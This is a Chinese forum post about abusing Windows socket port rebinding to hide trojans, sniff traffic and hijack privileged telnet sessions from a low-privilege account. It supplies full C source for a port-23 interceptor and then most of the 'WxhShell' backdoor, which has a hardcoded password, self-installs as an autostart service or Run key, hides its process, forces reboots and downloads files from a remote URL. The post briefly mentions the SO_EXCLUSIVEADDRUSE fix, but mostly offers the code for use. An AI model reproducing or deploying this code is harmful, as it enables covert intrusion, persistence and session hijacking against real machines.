社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10375阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $YDZtS&h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S@suPkQ<>  
nJ/wtw  
  saddr.sin_family = AF_INET; F?j;3@z[A  
4m++>q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r4Ygy/%  
ZdQm& ?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >M.?qs4  
uA;3R\6?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wK 8/`{B9  
/>fP )56*  
  这意味着什么?意味着可以进行如下的攻击: 'BT}'qN  
?f+w:FO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G?-27Jk8  
U_a)g X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8kZ ~  
fn|l9k~<O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #plwK-tPR  
.8is! TT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O[RmQ8ll  
1jZ:@M :  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rI&GM |  
rl)(4ad=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w>I>9O}(`  
7^k`:Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +Ux)m4}j  
E-,74B&H  
  #include A.9,p  
  #include W>b(hVBE  
  #include &]~z-0`$!  
  #include    @+",f]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,x5`5mT3  
  int main() sr\lz}JW  
  { STgl{#  
  WORD wVersionRequested; ?{#P.2  
  DWORD ret; 6y)xMX  
  WSADATA wsaData; HtOo*\Ne  
  BOOL val; jY-i`rJN  
  SOCKADDR_IN saddr; %8H*}@n  
  SOCKADDR_IN scaddr; 0pYz8OB  
  int err; b2 ~~ !C  
  SOCKET s; fys@%PZq  
  SOCKET sc; #bPio  
  int caddsize; ogv86d  
  HANDLE mt; gf+Kr02~  
  DWORD tid;   ^SCZ  
  wVersionRequested = MAKEWORD( 2, 2 ); Df;FOTTi%  
  err = WSAStartup( wVersionRequested, &wsaData ); HzB&+c? Z  
  if ( err != 0 ) { 76[aOC2Ad  
  printf("error!WSAStartup failed!\n"); /_rAy  
  return -1; dQ^>,(  
  } Uq)|]a&e  
  saddr.sin_family = AF_INET; CAY^ `K!  
   c1wM"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aKaqi}IT  
/ /qTMxn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vn1kC  
  saddr.sin_port = htons(23); _1*EMq6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JnCY O^Qj  
  { .LafP}%  
  printf("error!socket failed!\n"); f+0dwlIlC$  
  return -1; ?PWD[mQE\  
  } Ze~ a+%Sb  
  val = TRUE; 9QJ=?bIC#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b@N|sXt&C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K&"Yv~h  
  { `Oys&]vb  
  printf("error!setsockopt failed!\n"); zsI0Q47\  
  return -1; T4T_32`XR  
  } Rs)tf|`/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xZFha=#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AW6]S*rh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r6]r+!63"  
'#t"^E2$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cl2@p@av  
  { IDzP<u8v  
  ret=GetLastError(); aEX;yy*  
  printf("error!bind failed!\n"); 1o o'\  
  return -1; 3P/T`)V  
  } /exV6D r  
  listen(s,2); u7@|fND 7  
  while(1) %'`Dd  
  { ksY^w+>(!  
  caddsize = sizeof(scaddr); -w 2!k  
  //接受连接请求 !'ajpK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5@j?7%_8  
  if(sc!=INVALID_SOCKET) @okC":Fw,  
  { a#!Vi93  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'O]_A57  
  if(mt==NULL) /{7x|ay]  
  { m&,d8Gss^  
  printf("Thread Creat Failed!\n"); 8,Yc1  
  break; EBw}/y{Kt  
  } )aqu f<u@  
  } u4$d#0sA  
  CloseHandle(mt); ?TE#4}p|  
  } H1|X0 a(j  
  closesocket(s); X =S;8=N  
  WSACleanup(); gq[}/E0e  
  return 0; 2DTH|Yv  
  }   yt  C{,g>  
  DWORD WINAPI ClientThread(LPVOID lpParam) dz5bW>  
  { - J!F((jt  
  SOCKET ss = (SOCKET)lpParam; -+|0LXo  
  SOCKET sc; B/E1nBobC  
  unsigned char buf[4096]; D8h ?s  
  SOCKADDR_IN saddr; gbr|0h>  
  long num; S7wZCQe  
  DWORD val; "rc}mq  
  DWORD ret; {_3ZKD(\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VjYfnvE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   30FYq?  
  saddr.sin_family = AF_INET; RNoS7[&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,k{{ZP P  
  saddr.sin_port = htons(23); \I#lLP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ $.oyjd  
  { H|F>BjXn5  
  printf("error!socket failed!\n"); \R&`bAdk  
  return -1; 8<)[+ @$0  
  } k4pvp5}%  
  val = 100; +ls *04  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HJBUN1n  
  { }K"=sE  
  ret = GetLastError(); (' `) m  
  return -1; dSIMwu6u  
  } R9S7p)B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XpOsnvW  
  { lDp5aT;DsM  
  ret = GetLastError(); ?xK9  
  return -1; Yl8tjq}iC  
  } 5[I> l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jSVb5P  
  { QwOQS %  
  printf("error!socket connect failed!\n"); 6JRee[  
  closesocket(sc); "TtK!>!.  
  closesocket(ss); CN brXN  
  return -1; AP3SOT3I  
  } ?_\Hv@t;  
  while(1) yKZ~ ^  
  { X,O&X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R(pvUm& L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LfOGq%&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x"AYt:ewuc  
  num = recv(ss,buf,4096,0);  +tfmBZl^  
  if(num>0) b)@D*plS&  
  send(sc,buf,num,0); #: ' P3)&  
  else if(num==0) ^_5$+  
  break; -Rjn<bTIy  
  num = recv(sc,buf,4096,0); J>hl&J  
  if(num>0) seAkOIc  
  send(ss,buf,num,0); sS5#Q  
  else if(num==0) + 6r@HK`,t  
  break; (O&~*7D*  
  } P[XE5puC  
  closesocket(ss); tm+}@CM^.  
  closesocket(sc); !n uXK  
  return 0 ; %l: %c  
  } v~uwQ&AH  
4pA<s-  
#J2856bzS  
========================================================== j?w7X?1(  
` mCcD  
下边附上一个代码,,WXhSHELL >Cd%tIie*  
7 hnTHL  
========================================================== F;q I^{m2  
.^JID~<?#  
#include "stdafx.h" #"i}wS  
-fUz$Df/R  
#include <stdio.h> Zpu>T2Tp  
#include <string.h> ml?+JbLg0  
#include <windows.h> 1grrb&K  
#include <winsock2.h> =N7N=xY  
#include <winsvc.h> f+<-Jc  
#include <urlmon.h> 1RRvNZW  
[>"qOFCr#:  
#pragma comment (lib, "Ws2_32.lib") wy) Frg  
#pragma comment (lib, "urlmon.lib") %HYC-TF#  
m} Yf6:cr  
#define MAX_USER   100 // 最大客户端连接数 u{6*}6@fi  
#define BUF_SOCK   200 // sock buffer OY"{XnPZ  
#define KEY_BUFF   255 // 输入 buffer hC6$>tl  
)%ja6Vg  
#define REBOOT     0   // 重启 jgEiemh&  
#define SHUTDOWN   1   // 关机 {R1jysG tD  
Z8'uZ#=Yw  
#define DEF_PORT   5000 // 监听端口 m"U\;Mw?  
S'3l<sY  
#define REG_LEN     16   // 注册表键长度 |:H[Y"$1;  
#define SVC_LEN     80   // NT服务名长度 T w"^I*B  
D eXnE$XH  
// 从dll定义API ?`FI!3j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NRoi` IIj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d54>nycU~N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .P,\69g~A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W4>8  
3$HFHUMQsk  
// wxhshell配置信息 P?TFX.p7  
struct WSCFG { Hk6Dwe[y  
  int ws_port;         // 监听端口 :kFWUs=  
  char ws_passstr[REG_LEN]; // 口令 ?FMHK\  
  int ws_autoins;       // 安装标记, 1=yes 0=no KY|Q#i|pM  
  char ws_regname[REG_LEN]; // 注册表键名 [xI@)5Xk  
  char ws_svcname[REG_LEN]; // 服务名 Y/@4|9!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ||Lqx#e=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y\x!Be;6Z.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $fn Fi|-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R )?8A\<E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BT#'<!7!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xTAC&OCk^[  
y'4=  
}; JN3Oe5yB2@  
j/^0q90QO  
// default Wxhshell configuration p( Qm\g<  
struct WSCFG wscfg={DEF_PORT, )}u.b-Nt.  
    "xuhuanlingzhe", +(|T\%$DT  
    1, nH T2M{R  
    "Wxhshell", vkBngsS  
    "Wxhshell", bcj7.rh]'h  
            "WxhShell Service", 9.%{M#j  
    "Wrsky Windows CmdShell Service", oz[E>%  
    "Please Input Your Password: ", \W1?Qc1]  
  1, $,h*xb.  
  "http://www.wrsky.com/wxhshell.exe", VnIJ$5Y  
  "Wxhshell.exe" q~l&EH0  
    }; .}CP Z3y  
;'vY^I8-L  
// 消息定义模块 8Cm^#S,+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {W0]0_mI(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; % ;6e@U}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; urog.Q  
char *msg_ws_ext="\n\rExit."; }"xC1<]  
char *msg_ws_end="\n\rQuit."; *;o=hM)Tp  
char *msg_ws_boot="\n\rReboot..."; p=7kFv  
char *msg_ws_poff="\n\rShutdown..."; >#0yd7BST  
char *msg_ws_down="\n\rSave to "; /"/$1F%{  
]@WJ&e/'@  
char *msg_ws_err="\n\rErr!"; :5"|iRP'  
char *msg_ws_ok="\n\rOK!"; 5RlJybN"o  
c]xpp;%]  
char ExeFile[MAX_PATH]; KgKV(q=  
int nUser = 0; o'D6lkf0  
HANDLE handles[MAX_USER]; 0V`/oaW;  
int OsIsNt; TH6g:YP`7  
KUuwScb\  
SERVICE_STATUS       serviceStatus; k87B+0QEL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a(BC(^1!  
S)Ld^0w  
// 函数声明 \h #vL  
int Install(void); KWN&nP +  
int Uninstall(void); (6JD<pBm  
int DownloadFile(char *sURL, SOCKET wsh); (dO4ww@O  
int Boot(int flag); Ye1P5+W(  
void HideProc(void); [_H9l)  
int GetOsVer(void); $9ON 3>  
int Wxhshell(SOCKET wsl); /wvA]ooT  
void TalkWithClient(void *cs); nTYqZlI,  
int CmdShell(SOCKET sock); }-8K*A3  
int StartFromService(void); e1+ %c9UQ  
int StartWxhshell(LPSTR lpCmdLine); q:nYUW o   
]vu' +F$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;%U`lE0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T]E$H, p  
qtgj"4,:`  
// 数据结构和表定义 LW,!B.`@  
SERVICE_TABLE_ENTRY DispatchTable[] = m'429E]\S  
{ 1 k H  
{wscfg.ws_svcname, NTServiceMain}, zHu:Ec7  
{NULL, NULL} WddU|-W  
};  NU_VUd2  
Q$RP2&  
// 自我安装 h!)(R<  
int Install(void) %7V?7BE  
{ y0=BL  
  char svExeFile[MAX_PATH]; a2 YdkdjT  
  HKEY key; >GZF \ER  
  strcpy(svExeFile,ExeFile); ?mF-zA'4]  
mXa1SZnE   
// 如果是win9x系统,修改注册表设为自启动 du47la 3  
if(!OsIsNt) { tpCEWdn5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u,'c:RMV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); flmcY7ZV  
  RegCloseKey(key); TYLf..i<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { orL7y&w(v:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wBmbn=>#S  
  RegCloseKey(key);  ExnszFX*  
  return 0; 1lx\Pz@ol  
    } _ k>j?j-  
  } /?by4v73P  
} 1bvL  
else { 9`vse>,-hg  
2@A7i<p  
// 如果是NT以上系统,安装为系统服务 ;N4mR6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wV(_=LF  
if (schSCManager!=0) n}._Nb 5  
{ (r7~ccy4  
  SC_HANDLE schService = CreateService cLB"<mG  
  ( $x`U)pv  
  schSCManager, Ya,>E@oc  
  wscfg.ws_svcname, \W$>EH  
  wscfg.ws_svcdisp, qP]Gl--q{  
  SERVICE_ALL_ACCESS, ozGK -$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VT0I1KQx.  
  SERVICE_AUTO_START, tM !1oWH  
  SERVICE_ERROR_NORMAL, OO\UF6MCU  
  svExeFile, 6%fU}si,  
  NULL, az19-QIcg  
  NULL, G.(9I~!  
  NULL, i2swots  
  NULL, h3JIiwv0!  
  NULL `Y+p7*Qr2  
  ); eJ?SLMLY  
  if (schService!=0) 9]kWM]B)o  
  { )DoY*'Cl  
  CloseServiceHandle(schService); t,RR\S  
  CloseServiceHandle(schSCManager); QMkLAZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mWka!lT  
  strcat(svExeFile,wscfg.ws_svcname); HK ;C*;vC%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m4kmJaM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _u.l|yR  
  RegCloseKey(key); cL`l1:j\}  
  return 0; \)LY_D:  
    } iaPY>EP1  
  } 6idYz"P %  
  CloseServiceHandle(schSCManager); NEK;'"  ~  
} v|n.AGn  
} Zb}=?fcL;@  
~omX(kPzK  
return 1; ^yBx.GrQc  
} D4 e)v%  
LeO5BmwHR  
// 自我卸载 }.e*=/"MB  
int Uninstall(void) T\2cAW5  
{ bD49$N?>  
  HKEY key; u6|7P<HUfb  
"esV#%:#J  
if(!OsIsNt) { iUSs)[]H>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *UEo&B2+  
  RegDeleteValue(key,wscfg.ws_regname); hX[hR  
  RegCloseKey(key); ]l&_Pv!!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jQ`cfE$sV  
  RegDeleteValue(key,wscfg.ws_regname); gKBcD\F  
  RegCloseKey(key); Dwwh;B  
  return 0; ;i Ud3 '*  
  } T#h`BtET[  
} "9R3S[  
} tohYwXN  
else { QDSB <0j  
2uqdx'^"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F#W'>WBU  
if (schSCManager!=0) ~EdmVEu  
{  +/AW6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 80 p7+W2m  
  if (schService!=0) h!MZ 6}zb)  
  { a}%>i~v<  
  if(DeleteService(schService)!=0) { x/5%a{~j2  
  CloseServiceHandle(schService); j63w(Jv/  
  CloseServiceHandle(schSCManager); <51(q_f  
  return 0; V =1Y&y  
  } ^bS&[+9E  
  CloseServiceHandle(schService); My=p>{s  
  } _%"/I96'  
  CloseServiceHandle(schSCManager); -CxaOZG  
} )<jj O  
} Ue~M .LZb  
|?{Zx&yUw  
return 1; @u$4{sjgf\  
} /|hKZTZJdN  
Qv[@ioc  
// 从指定url下载文件 s{hJ"lv:  
int DownloadFile(char *sURL, SOCKET wsh) Z wIsEJz  
{ 'rU 5VrK  
  HRESULT hr; h.G/HHz  
char seps[]= "/"; DTgF,c  
char *token; z q(AN<  
char *file; 'KM@$2tK^q  
char myURL[MAX_PATH]; QBDi;Xzb+  
char myFILE[MAX_PATH]; Q<Utwk?nL  
5f}wQ  
strcpy(myURL,sURL); !=eui$]  
  token=strtok(myURL,seps);  ;-U :t4  
  while(token!=NULL) ;pS Wu9  
  { >CNH=  
    file=token; 42X[Huy]  
  token=strtok(NULL,seps); 2z&HT SI  
  } m!w(Q+*j  
JAc-5e4  
GetCurrentDirectory(MAX_PATH,myFILE); E}4R[6YD  
strcat(myFILE, "\\"); E+F!u5u  
strcat(myFILE, file); 1 ^Ci$ra  
  send(wsh,myFILE,strlen(myFILE),0); E3sl"d;~  
send(wsh,"...",3,0); X_O(j!h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1j3mTP  
  if(hr==S_OK) v(]\o;/O  
return 0; iv:[]o  
else B-'Xk{  
return 1; (t fADaJM  
-=2tKH`Q  
} 0zdH6 &  
~#7=gI&p@  
// 系统电源模块 oM Q+=  
int Boot(int flag) VbJGyjx  
{ s$|GVv1B  
  HANDLE hToken; F0]NtKaH  
  TOKEN_PRIVILEGES tkp; Y|>y]x  
:J}L| `U9  
  if(OsIsNt) { D+#QQH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1kvBQ1+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x4R[Q&:M  
    tkp.PrivilegeCount = 1; U $e-e/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !&?(ty^F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @My-O@C>  
if(flag==REBOOT) { $oe:km1-D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R\ <HR9r  
  return 0; ~ex1,J*}t  
} E0Ig/ j  
else { {3@/@jO?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gpo(Zf?  
  return 0; $hn #T#J3  
} 4*G#fW-  
  } d1vC-n N  
  else { {!Jw+LPv$$  
if(flag==REBOOT) { ,o*x\jrGw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vRYfB{~  
  return 0; *Xn{{  
} *oKc4S+  
else { b~WiE?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0a ZplE,  
  return 0; ggXg4~WL  
} z3[ J>  
} |ILj}4ZA7  
rAM{<  
return 1; MCjf$pZN]  
} _cQTQ  
jV#{8 8  
// win9x进程隐藏模块 (O"Wa  
void HideProc(void) o{37}if  
{ 6"/cz~h  
n2Q~fx<6%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CcG{+-= H)  
  if ( hKernel != NULL ) "+~La{ POc  
  { Z9E[RD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {OXKXRCa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M]vc W  
    FreeLibrary(hKernel); )C|[j@MD  
  } 3#!}W#xv  
Akb#1Ww4  
return; #kR8v[Z  
} 8rx?mX,}  
,-rOfk\u  
// 获取操作系统版本 m+?$cyA>v  
int GetOsVer(void) a;r,*zZ="  
{ jhr: QS/9  
  OSVERSIONINFO winfo; >\+c@o[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &O/;YGEAB  
  GetVersionEx(&winfo); g+bc4eU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [u`v'*0d  
  return 1; \L($;8` \  
  else ?h2!Z{[0b  
  return 0; kn:X^mDXC/  
} "eA4JL\%)  
d %1j4JE{  
// 客户端句柄模块 jgQn^  
int Wxhshell(SOCKET wsl) 8' M4 3n  
{ +fBbW::R^  
  SOCKET wsh; eG55[V<!  
  struct sockaddr_in client; kc Q~}uFB  
  DWORD myID; |_x U{Pu  
p%/Z  
  while(nUser<MAX_USER) W|XW2`3p  
{ 8E`A`z  
  int nSize=sizeof(client); UFr ]$m&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IH(]RHTp%  
  if(wsh==INVALID_SOCKET) return 1; 4^/MDM@  
jNd."[IrO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cv})^E$x  
if(handles[nUser]==0) (S3\O `5  
  closesocket(wsh); HRS^91aK  
else TmZ sC5  
  nUser++; |=&[sC  
  } 2K[Y|.u8>q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U$-Gc[=|  
OHTJQ5%zL  
  return 0; JVy-Y  
} ~\B1\ G  
DyhW_PH2J  
// 关闭 socket ' 5`w5swbc  
void CloseIt(SOCKET wsh) Ac{"$P`  
{ jrJ!A(<)  
closesocket(wsh); u*u3<YQ  
nUser--; 6b`3AAGU"  
ExitThread(0); eb&#sZ  
} olda't  
,/*L|M/&5  
// 客户端请求句柄 Q"rQVO  
void TalkWithClient(void *cs) zmaf@T  
{ m3[R   
;7=pNK  
  SOCKET wsh=(SOCKET)cs; Y<0}z>^  
  char pwd[SVC_LEN]; nsW #  
  char cmd[KEY_BUFF]; xDJ@MW#  
char chr[1]; 1fajTT?  
int i,j; %{"v^4  
E "9`  
  while (nUser < MAX_USER) { t*J *?Ma  
XLQt>y)  
if(wscfg.ws_passstr) { ul@G{N{L   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lqdil l\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gkkT<hEV=  
  //ZeroMemory(pwd,KEY_BUFF); -|_#6-9  
      i=0; "]H_;:{f  
  while(i<SVC_LEN) { %?  87#|  
`_"F7Czn  
  // 设置超时 A><w1-X&=o  
  fd_set FdRead; re}_+sv U  
  struct timeval TimeOut; AIN Fv;  
  FD_ZERO(&FdRead); \; #T.@c5  
  FD_SET(wsh,&FdRead); iwM$U( 9  
  TimeOut.tv_sec=8; J[0o 6  
  TimeOut.tv_usec=0; r2!\Ts5v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H 5\k`7R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hJ|zX  
gu:8+/W8L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T)N_~f|  
  pwd=chr[0]; my1FW,3  
  if(chr[0]==0xd || chr[0]==0xa) { U0X,g(2'  
  pwd=0; K3g<NC  
  break; Y8l 8B>  
  } ^UJB%l  
  i++; KAkD" (!  
    } =Pj+^+UM  
ou V%*<Ki  
  // 如果是非法用户,关闭 socket B=!&rKF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <?8 aM7W7  
} z.d1>w  
`_;sT8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WZh%iuI{C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L<dJWxf?D  
>G#SfE$0  
while(1) { WlJ=X$  
r~2>_LK  
  ZeroMemory(cmd,KEY_BUFF); 'aV/\a:*  
NQ&\t[R[  
      // 自动支持客户端 telnet标准   r. z=  
  j=0; ~(v7:?  
  while(j<KEY_BUFF) { c2E*A+V#u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SLsw '<  
  cmd[j]=chr[0]; 9I1D'7wI^^  
  if(chr[0]==0xa || chr[0]==0xd) {  Q{K '#  
  cmd[j]=0; O %m\ Q1  
  break; "39\@Ow  
  } Xg4i H5!E  
  j++; MJ.K,e  
    } nXRT%[o&  
qp##>c31X  
  // 下载文件 H\vd0DD;  
  if(strstr(cmd,"http://")) { e #!YdXSx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q%T[&A}3B  
  if(DownloadFile(cmd,wsh)) @yImR+^.7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V vFMpPi  
  else Bz+zEXBC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NB^+Hcb$  
  } VY1&YR}Y  
  else { 9'" F7>d  
{wL30D^  
    switch(cmd[0]) { {3LAK[ C  
  -Z(='A  
  // 帮助 rGDx9KR4K!  
  case '?': { D\H;_k8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y?'Krw `  
    break; T9'd?nw9  
  } 'W_u1l/  
  // 安装 'qy LQ:6  
  case 'i': { Tb!Fv W  
    if(Install()) ,wYA_1$$H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FL|\D  
    else A||,|He~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g15~+;33N  
    break; e0z(l/UB  
    } 1Qk]?R/DN  
  // 卸载 I6e[K(7NY  
  case 'r': { ^h?]$P  
    if(Uninstall()) _c$F?9:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`[2Te>  
    else /?Y]wY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J`[v u4  
    break; kMx^L;:n  
    } /$'|`jKsB  
  // 显示 wxhshell 所在路径 e2_p7   
  case 'p': {   -]. a0  
    char svExeFile[MAX_PATH]; =kP|TR!o-  
    strcpy(svExeFile,"\n\r"); q|zips,  
      strcat(svExeFile,ExeFile); vrq5 +K&||  
        send(wsh,svExeFile,strlen(svExeFile),0); +l27y0>t  
    break; vq` M]1]FO  
    } +(U;+6 b  
  // 重启 csjCXT=Ve  
  case 'b': { ,CxIA^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 90Bn}@t=Q  
    if(Boot(REBOOT)) IgyoBfj\d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5q,ZH6\ {  
    else { s1>d)2lX  
    closesocket(wsh); :*I=' M9B  
